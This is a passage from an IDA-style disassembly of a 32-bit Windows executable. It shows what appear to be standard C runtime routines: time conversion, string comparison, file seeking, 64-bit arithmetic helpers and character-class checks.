		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_419980
		add	esp, 8
		push	9
		call	sub_41FBE0
		add	esp, 4


loc_41D8FA:				; CODE XREF: sub_41D860+Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D910	proc near		; CODE XREF: sub_40D347+Bp
					; .nsp0:0040DEDAp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418F20
		add	esp, 8
		pop	ebp
		retn
sub_41D910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D930	proc near		; CODE XREF: sub_41D9F0+7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41B6F0
		push	2
		mov	eax, dword_4F0FB4
		push	eax
		call	sub_419DC0
		add	esp, 8
		mov	ecx, dword_4F0FB0
		sub	ecx, dword_4F0FB4
		add	ecx, 4
		cmp	eax, ecx
		jnb	short loc_41D9BD
		push	68h
		push	offset dword_437D0C
		push	2
		push	2
		mov	edx, dword_4F0FB4
		push	edx
		call	sub_419DC0
		add	esp, 8
		add	eax, 10h
		push	eax
		mov	eax, dword_4F0FB4
		push	eax
		call	sub_419380
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41D99A
		call	sub_41B700
		xor	eax, eax
		jmp	short loc_41D9DF
; ---------------------------------------------------------------------------


loc_41D99A:				; CODE XREF: sub_41D930+5Fj
		mov	ecx, dword_4F0FB0
		sub	ecx, dword_4F0FB4
		sar	ecx, 2
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx*4]
		mov	dword_4F0FB0, eax
		mov	ecx, [ebp+var_4]
		mov	dword_4F0FB4, ecx


loc_41D9BD:				; CODE XREF: sub_41D930+2Aj
		mov	edx, dword_4F0FB0
		mov	eax, [ebp+arg_0]
		mov	[edx], eax
		mov	ecx, dword_4F0FB0
		add	ecx, 4
		mov	dword_4F0FB0, ecx
		call	sub_41B700
		mov	eax, [ebp+arg_0]


loc_41D9DF:				; CODE XREF: sub_41D930+68j
		mov	esp, ebp
		pop	ebp
		retn
sub_41D930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9F0	proc near		; CODE XREF: .nsp0:0040CD71p
					; sub_4357B0+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41D930
		add	esp, 4
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		pop	ebp
		retn
sub_41D9F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA10	proc near		; DATA XREF: .nsp0:0043A020o
		push	ebp
		mov	ebp, esp
		push	0B6h
		push	offset dword_437D0C
		push	2
		push	80h
		call	sub_418EF0
		add	esp, 10h
		mov	dword_4F0FB4, eax
		cmp	dword_4F0FB4, 0
		jnz	short loc_41DA44
		push	18h
		call	sub_41EB30
		add	esp, 4


loc_41DA44:				; CODE XREF: sub_41DA10+28j
		mov	eax, dword_4F0FB4
		mov	dword ptr [eax], 0
		mov	ecx, dword_4F0FB4
		mov	dword_4F0FB0, ecx
		pop	ebp
		retn
sub_41DA10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA60	proc near		; CODE XREF: sub_40D46C+1B3p

var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_36		= dword	ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= dword	ptr -0Ah
var_6		= dword	ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0D8h
		lea	eax, [ebp+var_24]
		push	eax
		call	dword_4F13F0	; GetLocalTime
		lea	ecx, [ebp+var_10]
		push	ecx
		call	dword_4F144C	; GetSystemTime
		mov	edx, [ebp+var_6]
		and	edx, 0FFFFh
		xor	eax, eax
		mov	ax, word ptr dword_4EF8D8+2
		cmp	edx, eax
		jnz	short loc_41DAF8
		mov	ecx, [ebp-8]
		and	ecx, 0FFFFh
		xor	edx, edx
		mov	dx, word ptr dword_4EF8D8
		cmp	ecx, edx
		jnz	short loc_41DAF8
		mov	eax, [ebp+var_A]
		and	eax, 0FFFFh
		xor	ecx, ecx
		mov	cx, word_4EF8D6
		cmp	eax, ecx
		jnz	short loc_41DAF8
		mov	edx, [ebp+var_10+2]
		and	edx, 0FFFFh
		xor	eax, eax
		mov	ax, word ptr dword_4EF8D0+2
		cmp	edx, eax
		jnz	short loc_41DAF8
		mov	ecx, [ebp+var_10]
		and	ecx, 0FFFFh
		xor	edx, edx
		mov	dx, word ptr dword_4EF8D0
		cmp	ecx, edx
		jnz	short loc_41DAF8
		mov	eax, dword_4EF8C8
		mov	[ebp+var_D8], eax
		jmp	loc_41DB80
; ---------------------------------------------------------------------------


loc_41DAF8:				; CODE XREF: sub_41DA60+30j
					; sub_41DA60+46j ...
		lea	ecx, [ebp+var_D0]
		push	ecx
		call	dword_4F1448	; GetTimeZoneInformation
		mov	[ebp+var_D4], eax
		cmp	[ebp+var_D4], 0FFFFFFFFh
		jz	short loc_41DB48
		cmp	[ebp+var_D4], 2
		jnz	short loc_41DB3C
		mov	edx, [ebp+var_36]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_41DB3C
		cmp	[ebp+var_28], 0
		jz	short loc_41DB3C
		mov	[ebp+var_D8], 1
		jmp	short loc_41DB46
; ---------------------------------------------------------------------------


loc_41DB3C:				; CODE XREF: sub_41DA60+BBj
					; sub_41DA60+C8j ...
		mov	[ebp+var_D8], 0


loc_41DB46:				; CODE XREF: sub_41DA60+DAj
		jmp	short loc_41DB52
; ---------------------------------------------------------------------------


loc_41DB48:				; CODE XREF: sub_41DA60+B2j
		mov	[ebp+var_D8], 0FFFFFFFFh


loc_41DB52:				; CODE XREF: sub_41DA60:loc_41DB46j
		mov	eax, [ebp+var_D8]
		mov	dword_4EF8C8, eax
		mov	ecx, [ebp+var_10]
		mov	dword_4EF8D0, ecx
		mov	edx, [ebp-0Ch]
		mov	dword ptr byte_4EF8D4, edx
		mov	eax, [ebp+var_A+2]
		mov	dword_4EF8D8, eax
		mov	ecx, [ebp+var_6+2]
		mov	dword_4EF8DC, ecx


loc_41DB80:				; CODE XREF: sub_41DA60+93j
		mov	edx, [ebp+var_D8]
		push	edx
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp-1Ah]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, [ebp+var_1C]
		and	edx, 0FFFFh
		push	edx
		mov	eax, [ebp-1Eh]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_24+2]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, [ebp+var_24]
		and	edx, 0FFFFh
		push	edx
		call	sub_4287B0
		add	esp, 1Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+arg_0], 0
		jz	short loc_41DBDA
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41DBDA:				; CODE XREF: sub_41DA60+170j
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_41DA60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DBF0	proc near		; CODE XREF: sub_40D46C+18p
					; sub_42FFA0+40p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4EF96C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41DC43
		mov	al, 0FFh
		mov	edi, edi


loc_41DC0C:				; CODE XREF: sub_41DBF0+28j
					; sub_41DBF0+48j
		or	al, al
		jz	short loc_41DC3E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41DC0C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41DC0C
		sbb	al, al
		sbb	al, 0FFh


loc_41DC3E:				; CODE XREF: sub_41DBF0+1Ej
		movsx	eax, al
		jmp	short loc_41DCBB
; ---------------------------------------------------------------------------


loc_41DC43:				; CODE XREF: sub_41DBF0+16j
		lock inc dword_4EFD48
		cmp	dword_4EFD44, 0
		jg	short loc_41DC57
		push	0
		jmp	short loc_41DC6C
; ---------------------------------------------------------------------------


loc_41DC57:				; CODE XREF: sub_41DBF0+61j
		lock dec dword_4EFD48
		push	13h
		call	sub_41FB40
		mov	[esp+10h+var_10], 1


loc_41DC6C:				; CODE XREF: sub_41DBF0+65j
		mov	eax, 0FFh
		xor	ebx, ebx
		nop


loc_41DC74:				; CODE XREF: sub_41DBF0+90j
					; sub_41DBF0+A8j
		or	al, al
		jz	short loc_41DC9F
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41DC74
		push	eax
		push	ebx
		call	sub_41E5F0
		mov	ebx, eax
		add	esp, 4
		call	sub_41E5F0
		add	esp, 4
		cmp	bl, al
		jz	short loc_41DC74
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41DC9F:				; CODE XREF: sub_41DBF0+86j
		mov	ebx, eax
		pop	eax
		or	eax, eax
		jnz	short loc_41DCAF
		lock dec dword_4EFD48
		jmp	short loc_41DCB9
; ---------------------------------------------------------------------------


loc_41DCAF:				; CODE XREF: sub_41DBF0+B4j
		push	13h
		call	sub_41FBE0
		add	esp, 4


loc_41DCB9:				; CODE XREF: sub_41DBF0+BDj
		mov	eax, ebx


loc_41DCBB:				; CODE XREF: sub_41DBF0+51j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DCC0	proc near		; CODE XREF: sub_4112A8+26Ep
					; sub_4112A8+37Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_41DCC7:				; CODE XREF: sub_41DCC0+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41DCEB
		push	offset dword_437504
		push	0
		push	65h
		push	offset dword_437D18
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DCEB
		int	3		; Trap to Debugger


loc_41DCEB:				; CODE XREF: sub_41DCC0+Bj
					; sub_41DCC0+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DCC7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41ECE0
		add	esp, 4
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41DD30
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41ED50
		add	esp, 4
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41DCC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD30	proc near		; CODE XREF: sub_41DCC0+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_41DD37:				; CODE XREF: sub_41DD30+32j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41DD5E
		push	offset dword_437514
		push	0
		push	92h
		push	offset dword_437D18
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DD5E
		int	3		; Trap to Debugger


loc_41DD5E:				; CODE XREF: sub_41DD30+Bj
					; sub_41DD30+2Bj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DD37
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41DD8B
		cmp	[ebp+arg_8], 0
		jz	short loc_41DD9E
		cmp	[ebp+arg_8], 1
		jz	short loc_41DD9E
		cmp	[ebp+arg_8], 2
		jz	short loc_41DD9E


loc_41DD8B:				; CODE XREF: sub_41DD30+47j
		call	sub_4248A0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_41DE50
; ---------------------------------------------------------------------------


loc_41DD9E:				; CODE XREF: sub_41DD30+4Dj
					; sub_41DD30+53j ...
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		cmp	[ebp+arg_8], 1
		jnz	short loc_41DDCE
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4294B0
		add	esp, 4
		mov	edx, [ebp+arg_4]
		add	edx, eax
		mov	[ebp+arg_4], edx
		mov	[ebp+arg_8], 0


loc_41DDCE:				; CODE XREF: sub_41DD30+81j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41F7E0
		add	esp, 4
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_41DDFB
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFCh
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		jmp	short loc_41DE2F
; ---------------------------------------------------------------------------


loc_41DDFB:				; CODE XREF: sub_41DD30+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_41DE2F
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_41DE2F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 400h
		test	edx, edx
		jnz	short loc_41DE2F
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 200h


loc_41DE2F:				; CODE XREF: sub_41DD30+C9j
					; sub_41DD30+D6j ...
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_4292F0
		add	esp, 0Ch
		sub	eax, 0FFFFFFFFh
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax


loc_41DE50:				; CODE XREF: sub_41DD30+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41DD30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DE60	proc near		; CODE XREF: sub_411ED9+19Ep
					; sub_412C36+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DE79
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DE79:				; CODE XREF: sub_41DE60+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DE60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA0	proc near		; CODE XREF: sub_414F2C+8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F1354	; GetFileAttributesA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_41DECB
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		call	sub_424800
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DEFC
; ---------------------------------------------------------------------------


loc_41DECB:				; CODE XREF: sub_41DEA0+15j
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_41DEFA
		mov	edx, [ebp+arg_4]
		and	edx, 2
		test	edx, edx
		jz	short loc_41DEFA
		call	sub_4248A0
		mov	dword ptr [eax], 0Dh
		call	sub_4248B0
		mov	dword ptr [eax], 5
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DEFC
; ---------------------------------------------------------------------------


loc_41DEFA:				; CODE XREF: sub_41DEA0+33j
					; sub_41DEA0+3Dj
		xor	eax, eax


loc_41DEFC:				; CODE XREF: sub_41DEA0+29j
					; sub_41DEA0+58j
		mov	esp, ebp
		pop	ebp
		retn
sub_41DEA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF00	proc near		; CODE XREF: sub_414F46+3Fp
					; sub_4188BF+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DF22
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DF63
; ---------------------------------------------------------------------------


loc_41DF22:				; CODE XREF: sub_41DF00+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DF30:				; CODE XREF: sub_41DF00+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DF30
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DF5E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DF5E
		jb	short loc_41DF5F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DF5F


loc_41DF5E:				; CODE XREF: sub_41DF00+4Ej
					; sub_41DF00+54j
		dec	esi


loc_41DF5F:				; CODE XREF: sub_41DF00+56j
					; sub_41DF00+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DF63:				; CODE XREF: sub_41DF00+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DF00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF70	proc near		; CODE XREF: sub_414F46+2Dp
					; sub_4188BF+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DF91
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DFE1
; ---------------------------------------------------------------------------


loc_41DF91:				; CODE XREF: sub_41DF70+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DF9F:				; CODE XREF: sub_41DF70+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DF9F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DFCA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DFCA
		jb	short loc_41DFD2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DFD2


loc_41DFCA:				; CODE XREF: sub_41DF70+4Aj
					; sub_41DF70+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DFD2:				; CODE XREF: sub_41DF70+52j
					; sub_41DF70+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DFE1:				; CODE XREF: sub_41DF70+1Fj
		pop	ebx
		retn	10h
sub_41DF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DFF0	proc near		; CODE XREF: sub_415056+5Ep
					; sub_415056+8Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41E011
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41E011:				; CODE XREF: sub_41DFF0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41E02D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41E02D:				; CODE XREF: sub_41DFF0+27j
		or	eax, eax
		jnz	short loc_41E049
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41E08A
; ---------------------------------------------------------------------------


loc_41E049:				; CODE XREF: sub_41DFF0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41E057:				; CODE XREF: sub_41DFF0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41E057
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41E085
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41E085
		jb	short loc_41E086
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41E086


loc_41E085:				; CODE XREF: sub_41DFF0+85j
					; sub_41DFF0+8Bj
		dec	esi


loc_41E086:				; CODE XREF: sub_41DFF0+8Dj
					; sub_41DFF0+93j
		xor	edx, edx
		mov	eax, esi


loc_41E08A:				; CODE XREF: sub_41DFF0+57j
		dec	edi
		jnz	short loc_41E094
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41E094:				; CODE XREF: sub_41DFF0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
		jle	short loc_41E0C3
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E0DA
; ---------------------------------------------------------------------------


loc_41E0C3:				; CODE XREF: .nsp0:0041E0ABj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax


loc_41E0DA:				; CODE XREF: .nsp0:0041E0C1j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
		jle	short loc_41E110
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E125
; ---------------------------------------------------------------------------


loc_41E110:				; CODE XREF: .nsp0:0041E0FBj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 1
		mov	[ebp-4], eax


loc_41E125:				; CODE XREF: .nsp0:0041E10Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
		jle	short loc_41E150
		push	2
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E165
; ---------------------------------------------------------------------------


loc_41E150:				; CODE XREF: .nsp0:0041E13Bj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 2
		mov	[ebp-4], eax


loc_41E165:				; CODE XREF: .nsp0:0041E14Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E170	proc near		; CODE XREF: sub_4156B7+1A8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
		jle	short loc_41E190
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_41E1A5
; ---------------------------------------------------------------------------


loc_41E190:				; CODE XREF: sub_41E170+Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_4], eax


loc_41E1A5:				; CODE XREF: sub_41E170+1Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41E170	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
		jle	short loc_41E1D3
		push	80h
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E1EA
; ---------------------------------------------------------------------------


loc_41E1D3:				; CODE XREF: .nsp0:0041E1BBj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp-4], eax


loc_41E1EA:				; CODE XREF: .nsp0:0041E1D1j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E200	proc near		; CODE XREF: sub_424CA0+105p
					; sub_426160+24p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
		jle	short loc_41E220
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_41E235
; ---------------------------------------------------------------------------


loc_41E220:				; CODE XREF: sub_41E200+Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8
		mov	[ebp+var_4], eax


loc_41E235:				; CODE XREF: sub_41E200+1Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41E200	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
		jle	short loc_41E260
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_41E275
; ---------------------------------------------------------------------------


loc_41E260:				; CODE XREF: .nsp0:0041E24Bj
		mov	ecx, [ebp+8]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 10h
		mov	[ebp-4], eax


loc_41E275:				; CODE XREF: .nsp0:0041E25Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4516A8, 1
